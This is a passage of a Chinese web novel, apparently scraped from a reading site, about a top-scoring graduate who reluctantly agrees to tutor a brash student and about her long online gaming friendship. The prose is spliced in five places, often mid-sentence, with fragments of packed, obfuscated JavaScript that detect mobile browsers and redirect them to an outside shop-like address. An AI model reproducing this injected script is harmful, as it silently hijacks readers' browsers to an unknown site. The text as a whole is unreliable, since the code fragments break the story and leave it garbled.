没混出名头时,没少因为学历受到歧视,哪怕现在算是有头有脸的人了,还会因为没有学历,被人叫做暴发户。 他对学历生出了执念。 这辈子他是没机会上大学,把所有希望都放在自家儿子身上:“那可是省状元啊,你爹虽然学问不高,但也知道省状元是一个省才能出现一个,只要肯指点你一二,还愁明年考不上好大学吗?” 汀砚学着乐落的口吻:“学习好也不一定会教。” 汀建宏哼一声:“少拿不一定糊弄我。” 汀砚非得唱反调:“万一最后还是没考上怎么办?” “你这倒霉孩子瞎说什么!”汀建宏呵斥一声,背景音里有人喊汀总。 他再次下了死命令:“总之你先把状元给我搞定,你妈那边我也好交代,不然以你妈的脾气,不用坚持到你高考,拿着刀就抵着我的脖子去民政局办理手续了。” 汀砚不痛不痒道:“早知如此何必当初?” 汀建宏恼火道:“老子都说那是个误会了,你妈硬是不相信,非得说等你考上好大学,才给我个解释的机会。” 汀砚面无表情地“哦”了一声。 汀建宏不放心又追了一句:“你爹是大老粗一个,我也不敢贸然给状元老师打电话,万一口气不好吓到人小姑娘就不好了,你自己看着办,记住一句话,只许成功不许失败。” 在这个档口上,汀砚还有心情开玩笑:“谁说你是大老粗,这不是会用成语?” “是你妈的原话,我转达给你。” 汀建宏被人催急了,在挂断电话前,又强调了一遍:“爹等你的好消息,不要让爹失望。” 手机传来一阵忙音。 汀砚按灭手机屏幕。 他侧过头,扬了扬手机:“听到了吧,我并不是强人所难,也是逼不得已。” 原本只是普通的补课,现在上升到能不能保全一个家庭的高度。 汀砚反倒成了这件事的受害者。 乐落难免有些始料未及。 她不自然抬手,擦了下鼻尖,闷声道:“只是请个家教而已,应该不至于那么严重吧。” “我爸和我妈之间存在些误会,我爹不在理,这些年我妈只要看见他就像是个点燃的炮仗,拒绝与他沟通。” 汀砚坦荡又平静,像个局外人:“我妈也不止一次说过要离婚,我爸不愿意离, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854909|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要我妈不离婚,天上的星星也会尝试摘一摘。” 乐落想起了几年前,某个人因父母离婚哭得天崩地裂的场景,不禁动了恻隐之心。 她看着面前完全不受影响的脸,尝试着问:“你好像并不在意他们离不离婚?” 话落,她又觉这句话好像越界。 忙不迭又补了一句:“我就是好奇,你觉得不礼貌的话可以不说。” 汀砚阖了阖眼:“在意又有什么用?这不是我能决定的事。” “我要是不在意,在你拒绝我时,转身就走了。”他收起那副漫不经心,语气多了些认真,语调上扬:“你以为我真是那种死皮赖脸,还是以为我喜欢听别人拒绝我的话?我又不是有什么毛病。” 乐落有些心虚别开眼,她确实把这人当无赖对待了。 她耷拉着眼皮,话锋一转:“我要是坚决不同意怎么办?” 汀砚耸耸肩:“凉拌呗,我还能拿着刀逼你不成?” 他脸上挂着笑,完全不像个即将要成为单亲的孩子:“尽人事听天命,我最多坚持一个月,耗光这段时间也就算了。” 最多坚持一个月?! 乐落瞪大眼:“你要坚持一个月?” 汀砚理所应当道:“毕竟关系到我父母的婚姻,我为人子总不能碰一次壁就放弃吧,而且你也听到我爹的态度了,这要是我诚意不足,肯定免不了一顿训。” 乐落唇线崩成一条线。 汀砚看她表情,继续道:“我这个月可能会借住到林叔家,你不了解我爸,要是我没两天就回家了,万一我妈真和他离婚了,他得念叨我一辈子,特别是喝醉酒后,就和那唐僧念经一样,不把我折磨死绝对不会罢休。” 乐落都快气笑了,问得相当直白:“那你就折磨我吗?” 汀砚好整以暇地抬头看她:“人生地不熟,反正闲着也是闲着,对你来说是折磨,可对我来说是尽孝啊。” 闲着也是闲着…… 怎么听怎么不像人话。 虽说关系到父母感情,也算是有苦衷,但他纯折磨别人这件事,怎么看都像是无赖的行为。 汀砚注意到她的态度缓和,又下了一剂猛药:“你刚也听到我爹在电话里说的话了吧,你只要不同意,他肯定认定是我诚意不够,要是我实在没办法说服你,以他的脾气,估计说什么都要亲自来一趟。” 有其父必有其子。 这句话反过来也成立。 乐落光是听电话,也知道汀建宏比起汀砚会更难缠,到时没准情况更遭,再怎么说对方也是长辈,她肯定不能像这样摆冷脸。 汀砚的所有招数都用上了,这会倒是一副善解人意的模样:“你先别着急拒绝,我这边情况也是特殊,不然你再想一下,我明天再来问你?” 乐落权衡了一分钟,认清了现实。 态度没之前那么强硬:“你现在成绩怎么样?” 汀砚是个人精,怎么听不出弦外之音:“理科都还说得过去,就是语文和英语不太行。” 他斟酌了一下,说得含糊:“有些偏科。” 乐落一听他口气,察觉到问题。 目光灼灼地看他,她抓住重点:“有多偏?” 4. Chapter 004 保护色 汀砚本想等尘埃落定,再让乐落摸清自己的水平,没料到一笔没带过。 他不动声色地计算了说谎的后果。 权衡之下,知道这件事也瞒不过,他选择说实话:“数学一百四十七,英语四十七的这种偏科。” 乐落傻眼。 她没想到汀砚说得过去是数学能将近拿满分的,更没想到英语是这种天上地下的偏科。 四十七分,在英语那么多选择题的基础上,这个分数和闭上眼睛往涂答题卡并没有本质区别。 汀砚看出她想知难而退,没什么好法子,只简单粗暴想提高薪酬:“你放心,钱不是问题。” 乐落也是坦诚:“不是钱的问题。” 她甚至不能保证一个月的教学能让汀砚进步多少分。 本来四十七这个分数就存在很大的水分,和运气分差不多。 对于英语这种需要拉长线的学科,一个月能改变的东西太少,万一她补习完分数更低了,她到哪里去说理。 眼看着她好不容易动摇的态度有所改变,汀砚营造的这出苦情戏面临前功尽弃。 他表明自己学习的诚心:“高三这一年是关键期,英语快把我的腿给拖费了,所以你放心我绝对有头悬梁锥刺股的狠心,你只要帮忙补习,成绩是否提高成败全在我。” 乐落松动了。 不得不说那一通电话来的太及时,再加上汀砚并未对她避讳,打出了有效的苦情牌,否则就算汀砚把嘴皮子磨破,都不见得她会改变主意。 “补课周期一个月,报酬我要三万。” 她知道汀砚的预算很足,但她不是贪心的人:“我有同学在做家教,一个月也是这么多钱。” 作为名校准大学生,在补课的市场上相当受欢迎,只要有意愿不出一天就会敲定合同,更何况她是省状元,全省独一份的存在,用炙手可热形容也不为过。 教她的一位老师在她高考后就联系过她,说有位亲戚想找她补课,一个月开出了五万的高价,甚至还有提升的空间。 只是她有自己的考量,想也不想就拒绝了。 高三要说不累是不可能,一次次间隔极短的联考,就算把答案写在试卷上都是高强度的工作量。 再加上理科繁冗的计算量,六门考试分两天进行,一个月就有半个月在考试,铁打的人也要休息。 饶是她,高三时也需要时刻绷紧一根弦,等高考成绩,报志愿选学校。 她也需要假期放松。 她实在不想接触新的人,懒得去磨合关系,更何况当了十几年的学生,她不认为自己能迅速转变成老师的身份。 只是林伯伯对她家有恩情,她本意是回报,在看到汀砚后才打定主意拒绝,结果又被那一通电话,扰乱了原计划。 在她亲密关系里,有个家庭快要破碎的人,与其说对汀砚动了恻隐之心。 不如说是为了那一位,在她人生里很特殊的那一位。 汀砚抬手冲着半空打了个响指:“没问题。” 别说是三万,就是三十万,汀建宏也会眼也不眨的同意。 要是三百万的话,以汀建宏的性子,眨巴三下眼也会一咬牙一跺脚,以一句“贵有贵”的道理同意。 “我有要求。”乐落缓缓开口:“从明天算起,距离我大学报道也还只剩下一个月时间,无论你什么时候来听课,我们的补课时间就是从明天开始算,这一个月必须严格按照我制定的学习计划执行。” 汀砚答应地很爽快:“好。” 乐落又道:“在这之前,我只有做学生的经验,不保证经过这一个月你的分数会提高到什么程度。” 汀砚也没意见:“了解。” 乐落暂时只想到这两条,轻咳一声又加上一个:“工资从结束那天就要发放。” 汀砚轻笑一声:“别说按时发放,提前预支都没问题。” 他拿出手机,薄唇翕动:“小老师先加个联系方式吧?” 乐落没异议。 “企鹅号还是绿泡泡?”汀砚在无关紧要的事上把选择权交给了乐落。 乐落没客气:“绿泡泡吧。” 她去卧室拿出手机,让汀砚扫了自己的码,在好友申请里点了添加到通讯录。 一切尘埃落定。 汀砚总算完成任务,能到汀建宏那边复命,心情不错:“林叔家好长时间没住人,这两天我得请人收拾一下,等我这边的事好了后,再联系您。” 在确定乐落愿意辅导他功课后,他也将称呼从“你”换成了“您”。 尊师重道是汀建宏放在嘴边的话,他耳濡目染,几乎是条件反射下的意识。 乐落点头。 跟着汀砚一同起身,总算把这位大佛送了出去。 等关上门,她长长地吐出一口气,绷紧的神经放松。 等她躺回床上,就看到汀砚发来的转账信息,速度快到怕她临时反悔。 汀砚的微信名是他的本名。 头像是一轮圆月,与那一身混不吝的气质不符,反倒更像文艺男青年。 【汀砚】:转账一万元 【汀砚】:小老师就当做定金,这件事敲定,不能反悔了 乐落也没客气,点了收款。 又发了个“ok”的小表情。 几秒后,置顶联系人中的季今瑶发来了视频邀请。 季今瑶不知从哪里要来了一张小桌子,支在床上,手机竖在小桌子上,镜头将几个快递盒全部照了进去。 乐落换了个姿势,双手撑在床上,半趴在床上说她:“都出去旅游了,不去外面吃特色菜,怎么还点起外卖了?” “外面太晒了,吃饭的队排了几十米,真要是去排队,我得晒蜕一层皮。” 季今瑶想起那壮观的场景,直摇头:“外面吃着也一样,我点的都是当地特色,没差。” 她自顾自地说:“对了,乐叔叔有什么事?我刚刚给你发了好几条消息你都没回,是有什么事吗?” “也没什么大事。”乐落自然不会对季今瑶有所保留:“就是林伯伯家有个亲戚,想找我补课,刚刚就见了那个,人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854910|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季今瑶注意到她不自然地停顿:“人?怎么听你说得好勉强?” “也没有,可能是我见识少吧,还是第一次见到这种类型。”乐落莫名又想起那张脸。 季今瑶嗅到了八卦的味道:“听你这描述,是个男学生?” 乐落的鸡皮疙瘩都激起来了,冷不丁缩了缩脖子:“别别别,你这三个字把我说麻了。” 这三个字放在汀砚身上还是太违和了。 季今瑶八卦魂越演越烈:“怎么样?有没有照片?本来还不好奇,听你这么一说,我八卦魂都勾起来了。” 乐落摇头:“刚见面就偷拍显得我不正经。” “不正经?落落还是第一次听你这么说话。” 季今瑶像是被戳中笑点,笑地花枝乱颤:“是被那个,人传染了吗?” 闻言,乐落的笑容僵在脸上。 季今瑶注意力不在这个问题上,没深究,抛出更感兴趣的连环问题:“高不高?帅不帅?声音好不好听?” 高,帅,声音也好听。 乐落轻咳一声,避开这些问题,自顾自地回答:“他是个无赖。” 季今瑶眼睛又亮了几下:“这不比旅游有意思!等等我这就买票回家,去看看能让你用无赖形容的得是什么人才。” 乐落头很大地“啊”了一声:“补课的事还没有着落,他这几天有事,指不定下次见是什么时候。” “哦。”季今瑶的兴致直线下降:“整体来说是件好事,省得你天天惦记网上那只猴子,怎么说你也是学霸美少女,怎么会被一只猴子轻易迷了眼?我真的很想知道,他到底给你灌了什么迷魂汤?” 乐落换了个姿势,只得一遍遍纠正:“瑶瑶,他不叫猴子。” 季今瑶哦了一声:“那他叫什么?” 乐落张了张嘴,没说出话。 她成绩斐然,不只是高考状元,在曾经在中考一举夺魁,不说人尽皆知,名字在网上也不是查无可见的状态。 十四五岁时,她就知道隐私的重要性,在虚拟的网络里几乎没暴露过个人信息。 哪怕是季今瑶口中的那只认识好久的猴子,她也从未暴露过自己的名字。 理所当然,她也没要求过对方上报名字,甚至在对方打算自爆时,她为了不产生负罪感,阻止了对方的行为。 两人在网络上认识四年,这四年贯穿了初中到高中的重要阶段,两人都默契地尊重着对方的隐私,并未有过逾越现实那条线的举动,除了对方少有几次提出过见面的请求。 神秘是这段关系的保护色。 “连名字都不知道,还不就是一无所知?” 季今瑶生怕一不留神乐落被人骗去,疯狂打着预防针:“我告诉你哦,现在网络诈骗特别多,那新闻上天天不重样的诈骗手段,真的让人防不胜防,不是我危言耸听,如果不是现实中知根知底的关系,太相信别人会让自己受伤。” 乐落闷闷地撇着嘴:“他就是和别人不一样。” 神明不渡众生苦,而那个人曾在无边际的夜雾里,成为她的灯塔。 5. Chapter 005 输不起 书柜旁连接着拐角书桌,靠窗的位置罗列着一整排教参书,木纹色桌面上是复印的高考卷,写满了黑色笔迹,旁边鲜少有红笔勾画着。 再往里的拐角则是电竞房的布置,墙上张贴着斗战胜佛的画布,桌上的物件有孙悟空手举蟠桃,有齐天大圣铜摆件,也有Q版斗战胜佛瓷摆件。 无一例外都是孙悟空的周边。 二十四寸电脑屏幕散发着荧光,游戏视线不断更替,孙悟空正举着金箍棒暴打曹操,而林黛玉在旁边给孙悟空加血,队友武大郎正欲帮忙,被林黛玉一脚踢出三米外。 屏幕里是极致的拉扯,激烈的打斗,屏幕外是专注的眼睛。 咔哒的敲击声,虚幻与现实短暂的交汇。 不足一分钟,凶神恶煞的曹操早没了势头,在武大郎的掩护中残血而逃。 孙悟空没继续追,拉上林黛玉翻上筋斗云一跃半空朝着前方前行。 游戏下方的聊天界面像是中了病毒,一行接着一行滚动频率迷了眼。 【风起时杀你[曹操]】:我是什么很的贱人吗?倒了八百辈子血霉,刚进游戏就碰到了这对活阎王 【不爱卖烧饼[武大郎]】:我还是第一次碰见猴子捞月,没想到他竟然就这么轻易放过我们? 原本站在树上的唐僧和女儿国国王从树上跳到两人旁边,对着筋斗云的方向羡慕的流哈喇子。 【一见误终生[唐僧]】:那可是筋斗云啊,真是活久见,我玩游戏玩一年了,这还是我第一次在游戏里看见 【御弟哥哥[女儿国国王]】:全服都筋斗云的数量也不过百,这可是开服一周年的奖励,那时游戏热度一般般,谁知道五年后的今天,筋斗云在网上的最高交易价直逼五十万 “头号玩家”游戏内角色集四大名著于一身,自二零一一年发行,最开始玩家人数不过百万,也就近几年才成为风靡全国的游戏。 随着用户的增多,可选的角色近两百位,每个月会根据用户投票,新增一位新人物,就连《西游记》的黑熊精与《红楼梦》的刘姥姥都列入了备用角色中。 贴合名著里的建模,怀旧的童年记忆,短短数年已成为年轻人交友方式之一。 作为国内少有同时具备端游与手游的作战游戏,匹配人数与传统的5v5更具有可选择性,玩家可根据人数选择单人,二人以及三人组队的模式,无论是一个人无聊时的消遣,还是小情侣蜜里调油增进感情,还可以再加一个电灯泡,游戏几乎成了年轻人的标配。 “头号玩家”游戏共分成三个主题——大乱斗、竞技场以及寻宝地图。 其中寻宝地图热度最高,每位玩家每日拥有三次机会,以随机模式分送到各个地图板块中,在游戏内存活半小时且击杀对应的玩家,即有机会获得碎片兑换奖励。 游戏内的奖励是名著中所出现的物件,如名驹赤兔,如宝玉的通灵宝玉,如八戒的九齿钉耙等等,物件可在游戏售卖大厅中自由拍卖,价高可得,其中以筋斗云为热门的物件可轻松卖到数万元。 游戏至今已七年,期间玩家有进有退,到如今热度攀升的今天,有两个ID不输游戏热度,甚至不少玩家是因此入坑。 这两个ID便是方才秀技“猴子捞月”本命英雄是孙悟空,对孙悟空的掌握几乎到了人机合一的程度。 而另一个便是顶着“黑月亮”的林黛玉,以逆天的操作将辅助功能用到极致。 【风起时杀你[曹操]】:这就是传说中的老玩家的水准吗?我这二踢脚的功夫确实是不够看的,但我真的很想要这次的奖励 【一见误终生[唐僧]】:谁不想要啊?那可是大圣头冠啊! 【御弟哥哥[女儿国国王]】:就是说啊,在这个游戏里,凡是和孙悟空扯上关系的物件那件不是六位数,这东西要是拿下,少说两年都不用工作 【不爱卖烧饼[武大郎]】:如意金箍棒我已经错过了,大圣头冠我是必须拿下! 【风起时杀你[曹操]】:现在我们血量条快见了底,先找个没人的地方回回血,等十分钟之后杀出来就是一条好汉 【御弟哥哥[女儿国国王]】:你们这状态这也太松弛了吧?大圣头冠的任务卡一经发布,谁不是杀红了眼,还真搁这闲聊起来了 【风起时杀你[曹操]】:你们不是要乘人之危吧?这样可太胜之不……是太不要脸了! 【不爱卖烧饼[武大郎]】:别人也就算了,你可是唐僧,不杀生是你的原则! 【御弟哥哥[女儿国国王]】:御弟哥哥! 【一见误终生[唐僧]】:我也不想,可她叫我御弟哥哥,两位抱歉! 手起刀落,曹操与武大郎下了线,还不等女儿国国王投入唐僧的怀抱中,一记金箍棒落下,两人还没回过神便匆忙下了线。 【黑月亮[林黛玉]】:加起来正好十个人头,只要再坚持五六分钟,就算是完成挑战,只要在集齐五枚碎片,就可以去商城兑换奖励了 【猴子捞月[孙悟空]】:我的大圣头冠的编号一定得是1 【黑月亮[林黛玉]】:一定会 【猴子捞月[孙悟空]】:多亏你这些天不是很忙,只要每天都能打满三场,我敢保证碎片个数没人比我们的更多 【黑月亮[林黛玉]】:就是人现在是越来越难找了,每个人看到我们撒腿就跑,不然我们换个ID? 【猴子捞月[孙悟空]】:都用好几年了,有感情了,我们以后换这种偷袭的策略,专挑人头多的队伍杀,反正人头可以累计,像刚才一下子收获四个人头 【黑月亮[林黛玉]】:别人肯定会躲着我们走 【猴子捞月[孙悟空]】:反正有筋斗云在,有三秒钟的加速,没人逃的出去,我们杀上去结果也是一样的 【黑月亮[林黛玉]】:那也行 五分钟后,画面跳转到结算页面上。 琥珀色的眸子里倒映着电脑的荧光。 乐落温吞吞伸个懒腰,拿起水杯喝了一口水的功夫,再看向屏幕时,眼角弯着,连着唇角也扬起来。 “恭喜您获得大圣头冠的游戏碎片” 她拿着鼠标点了右上角的叉号,切换到奖励界面,将新增的碎片赠送给“猴子捞月”。 未读消息点开,是“猴子捞月”的信息。 【猴子捞月】:今天运气还真不错!距离大圣头冠只剩下四个碎片,兑换奖品指日可待 【黑月亮】:恭喜你 【猴子捞月】:想起来高考已经过去很长时间了,现在已经能确定上哪所大学了吧 乐落的大眼睛眨了下,没想到季今瑶刚说他居心叵测,他后脚就问起隐私。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854911|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她长睫毛轻掀,手停在键盘上空,停顿下后敲敲打打,删改了好几次,才按下了回车键。 【黑月亮】:你猜 【猴子捞月】:大月亮你不够意思,我们这都认识多少年了,游戏里的玩家都觉得我们是情侣,结果我连你是男是女都不知道 【黑月亮】:革命友谊不论男女 【猴子捞月】:那告诉我分数,我好有前进的动力 【黑月亮】:秘密一换一,你先告诉我你考了多少分 【猴子捞月】:我考得不好,都打算复读了,你就当给我留一份薄面 【黑月亮】:哦,那我也不说 【猴子捞月】:你告诉我报考的学校,我也好把你当作目标,朝着你努力 【黑月亮】:那就等你下一年高考分数出了之后,再来问我这个问题 乐落与“猴子捞月”结识在一四年的暑假,那年的长夏也如这般燥热难安。 彼时她养她长大的姥姥因脑梗与世长辞,从住院到去世仅仅只有三天,她对此完全没有心理准备,在人来人往的悼念现场,望着黑白照片里笑着的慈祥老人,她早已流干最后一滴泪。 从崩溃到恍惚,从嚎啕大哭变为麻木不仁,这一切就好像一场漫长的噩梦。 她浑浑噩噩地挣扎,希望某天晨光熹微,睁开眼就能看到姥姥问她早饭吃什么。 可是,现实没有童话。 她在人前装的接受现实,夜深人静时失眠时靠着游戏熬过一夜又一夜,而“头号玩家”只是其中一款而已。 那时她还未满十八岁,绝大多数游戏限时两小时,她达到时长限制便来回切换各类游戏。 或许她的基因里有和哥哥乐笙一样的游戏天赋。 一回生二回熟三回便大杀四方,那时“黑月亮”的ID在各类游戏排名不断攀升,一时间热度直逼已成为职业选手的哥哥。 与“猴子捞月”的不打不相识就是在某个深夜,她操作着还是满身攻击技点的林黛玉,身骑赤兔马,手拿九齿钉耙,几米开外取敌人首级。 半个月,她早已成为游戏内的杀人狂魔,旁人看见她如避瘟神,以她为中心四散逃开。 只有新用户“猴子捞月”僵硬地站在原地,动都没动就被她几个连招操作着送出游戏。 半小时杀疯的状态,原定单人寻宝贵规则中存活半小时拿下五个人头,就可以领取奖励。 而她拿了二十一个人头,对奖励的碎片的邮件倒是视若无睹。 系统提示游戏时长受限,她满不在意地撩起眼皮,正打算切换另一个游戏时,看到“猴子捞月”发过来的好友申请。 想加她好友的人,确实能排到法国。 不过她来游戏纯粹只为发泄,交友不在她的计划里,为了避免麻烦,她没有同意任何一条申请。 百场游戏里,她拿下上千个人头。 而“猴子捞月”无疑是最好拿的那个人头。 鼠标在右上角的退出前转了几个圈后,下滑回到屏幕中央。 她也说不出自己是出于什么心思,右手的食指点动鼠标左键。 游戏好友栏里不再是空荡荡,多出一行关于账号的信息。 “猴子捞月”的消息下一秒插进来。 比起吹捧她技术的手下败将们,“猴子捞月”也是最输不起的那个。 6. Chapter 006 黑月亮 盛夏的早晨迎面吹来凉飕飕的风,干燥的空气鲜少湿润,远处的天空碧蓝,早市集人满为患。 乐落与周遭的环境格格不入。 在中老年人为主的街道,她安静坐在林家早餐店最里侧的小桌上,用汤勺盛着鸡蛋汤花往嘴巴里送。 竹盘里的葱油饼只剩下三两块,碗里的母鸡汤只剩半碗。 她是姥姥带大的孩子,从小学开始便在这条街解决早饭,那时她还尚且活泼,拉着姥姥尚未枯瘦的手掌,挨家挨户随着姥姥叫人。 只是那样的时光终究变成了触不可及的回忆。 在姥姥逝去的这几年里,她几乎重复着与姥姥的日常。 唯一不同的事,她不再是笑得灿烂的小姑娘,穿过这条巷子时总是脖子挂着耳机,埋着头自顾自地朝前。 青花瓷碗里的鸡蛋汤见了底。 她抽出一张纸擦了擦嘴角,掏出手机对着干净的碗碟拍了张照片,发到“快乐一家人”的群聊里。 【妈妈】:宝贝真棒 【爸爸】:[早上好/jdg] 【哥哥】:吃饭饭长高高 乐落是家里的掌上明珠,习惯了家人们的一呼百应,回了个“乖巧”的小兔子表情包后,就看到屏幕顶部出现企鹅号里弹出的消息。 她聊天几乎都在绿泡泡上,企鹅号经常发消息的也就那一个。 不用猜也知道是谁。 她轻勾起唇,没着急点开信息,站起身,用纸将餐桌上的鸡蛋壳包住,连同一次性筷子一同丢进垃圾桶里。 早餐店前挤满了人。 她艰难从小缝隙里移动到外面,扫了二维码付清饭钱后,看着正忙碌着无暇顾及其他的林奶奶,悄声离开。 划开屏幕,葱白的小手一点,点开置顶的特别关注的账号。 头像是Q版的猴子捞月的卡通图片。 可爱的毛猴子倒挂在枝头,伸出手朝着水池中,满心满眼地望着池中月,澄澈的眸子中只一轮圆月。 【猴子捞月】:醒了没?有些无聊,啥时候开一局? 【黑月亮】:等我回家 乐落与“猴子捞月”的缘分始于一场游戏。 往前回溯时光倒退四年,同样是七月中旬的三伏天,潮湿闷热的苦夏是噩梦的载体。 那年她刚满十五,姥姥那道温暖的烛火熄灭,黑白灵堂前满是抽泣声,爸爸在哭,妈妈在低泣,哥哥在偷偷抹泪。 她知道自己不能再添麻烦,遵守着与姥姥约定的不掉眼泪。 她甚至拍着爸爸的肩膀,拥抱着妈妈瘦弱的脊梁,给抽泣着不肯出声的哥哥递去纸巾。 所有人都夸她长大了,代价是不为人知深夜的辗转反侧。 父母忙于工作,她从小在姥姥膝下长大,双鬓斑白的老太太是她的保护神,用瘦弱的肩膀撑起属于她的避风港。 她平静的表情之下,是一颗伤痕累累的心,在某一刻超载后,就会全线崩溃。 旷日已久的怀念里,她做了好多场关于姥姥的梦,哭着醒来,抱着姥姥缝的荞麦枕头,闻着泪水浸湿枕头发霉的味道。 或许梦里她总是哭,姥姥为了惩罚她不再出现。 几天后,她就连睡着都成了件难事。 漫长寂寥的夜比白日难捱,为了打发无聊的时光,逃避不愿面对的现实,她沉迷在网络世界上,以“黑月亮”的ID遇神杀神。 只用了短短一个月便跻身在几款热门游戏里的前列,尤其是“头号玩家”名声风极一时,不少人因她华丽的操作垂直入坑。 记不得是某个深夜里,她一如既往伴着键盘声,麻木地看着屏幕出现一次又一次“victory”的界面。 在“头号玩家”里,她操控着攻击属性拉满的林黛玉,狂奔在葱郁的树林下,迎面撞上或者意外碰见,十招之内便轻松取下一枚人头。 “猴子捞月”是所有人头中,最轻巧的一个。 也是倒霉,刚进游戏还没反应过来,就被她的林黛玉一脚踢中脸,除了等死,全程没有一个多余的动作。 乐落也没多想,只当是新用户或者挂机状态下,只因为昵称多看了两眼,便将这号人物抛之脑后。 等游戏结束,她退出主页面,才看到“猴子捞月”犹如中了病毒般的好友申请。 她自知名声在外,这种情况也不是第一次发生。 可只有这次,她鬼使神差地点了同意。 “恭喜您与猴子捞月成为游戏好友,下面开始聊天吧~” 对话框刚出现系统提示,下一秒就是“猴子捞月”发来的竞技场邀请。 竞技场通常是玩家为了提升自我水平,提高在寻宝中的胜率的场所,有随机匹配以及好友对决的模式。 1v1的竞技场内玩家可选用游戏内的所有奖励性的道具,每位玩家都拥有无限次的生命,屏幕上方会显示各自的死亡次数,游戏只会以一个人的投降而终止。 乐落只当是“猴子捞月”不服气,才固执地加上好友,邀她在这里一决胜负。 她闲着也是无聊,反正是打发时间,浪费在谁身上,她也不在乎。 她懒得换人物装配,林黛玉眉淡而细,眼头下勾,梳着百合分髾髻,身着粉橙梅花上衣配着绣花马面裙。 可偏偏就是这样一个怯弱不胜的女子却骑着赤兔烈马,手握着九齿钉耙,从头到脚都是溢出屏幕的违和感。 而对面的“猴子捞月”站在对面,同游戏里一般手无寸铁,站在她的对立面。 她存了些让对手一手的心思,静止站在原地,等着对方先手出招。 三秒,十秒,半分钟…… 两人像是同时挂机,面对着面一动不动。 “喂喂喂,黑月亮能听到我说话吗?螃蟹,这怎么还是没回应啊?你能不能行啊?” “怎么会?等下我看下……现在应该正常了,你再试试。” 音响里突然传来对话声,带着少年独有的清澈的男声在夜里格外突兀。 从对话中不难听出,焦躁不耐烦地发问的正是“猴子捞月”。 “黑月亮?你要是个汉子就吱一声,躲在屏幕后面装哑巴,小心我看不起你!” 幼稚。 乐落并没有搭理对方的打算,鼠标移动到右上方,找到“投降”的选项上,正打算点下去,又听见对面传来声音。 应该是那位叫“螃蟹”的男生:“草哥,这可是千载难逢的机会,对方可是黑月亮。” “猴子捞月”不明所以:“黑月亮?很有名吗?” 螃蟹倒是有耐心地解释:“你平时也不玩什么游戏,也难怪你不知道,严格意义上来说黑月亮比这个游戏的热度都高,也就这一个月开始,这个ID在好多游戏里的排行榜出现的频次很高,好多人都猜测这么多ID可能是同一个人。” “猴子捞月”:“照你这么说,这个人很厉害?” 螃蟹的话音里带着崇拜:“当然!感觉游戏天赋是可以直接打职业的程度,听说好多人都试图加他好友,但是发出去的好友申请都杳无音讯,不知道是抽风还是怎么的,竟然同意了你的好友申请。” “猴子捞月”只哼了一声。 “没问题,照理说应该能听到声音才对。”螃蟹又试着调试几下,喂喂了两声没得到回应,也不管这么多了:“可能是挂机了,千载难逢的好机会,我拍下你拿下他人头的视频,上传的贴吧里肯定热度爆表。” “猴子捞月”倒是挺有原则:“你让我对一个挂机的人搞偷袭?这也太小人了,我不干。” 螃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854912|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟹显然是调整好了摄像头:“又不是我们让他挂机的,要说也是他不尊重这场比赛,而且草哥,你不是要报仇吗?” 那边安静了几秒,游戏内的孙悟空向前动了两步。 或许是新玩家还没熟悉操作按钮,仅仅是向前走的这几步,孙悟空在错误指令下,对着空气打了好几个空拳。 乐落看着滑稽的动作,樱桃唇轻勾起,对这人留下个“智商不高”的初印象。 她难得找到乐子,鲜少冒出捉弄人的恶劣心思,双手放在键盘上,等着对方看到胜利时给予致命一击。 “猴子捞月”确实操作生疏,全程都在螃蟹的提示下。 除拳动脚,看着被逐渐减少的血条,漫不经心的腔调夹带了些激动:“不就是黑月亮吗?遇到我算是你倒了八辈子的霉,小爷我猴子捞月,捞的就是你这一轮黑月亮!” 还真是大言不惭。 乐落眼含笑意,一想到接下来要发生的事,好心情地翘起唇,在血条只剩下最后一丝时,手指落在键盘上,噼里啪啦几声下去,战况发生了惊天逆转。 “草!草!!草草草草草!!!” 乐落听着哀嚎的“草”声连成一片,有种恶作剧得逞的畅快。 本来还不确定“草哥”的“草”是哪个字,现在无比确定确实是植物的那个“草”。 “黑月亮你是不是能听到?!拿着九齿钉耙,选了个林妹妹,还有偷听别人说话的癖好,你怕不是个变态吧?” 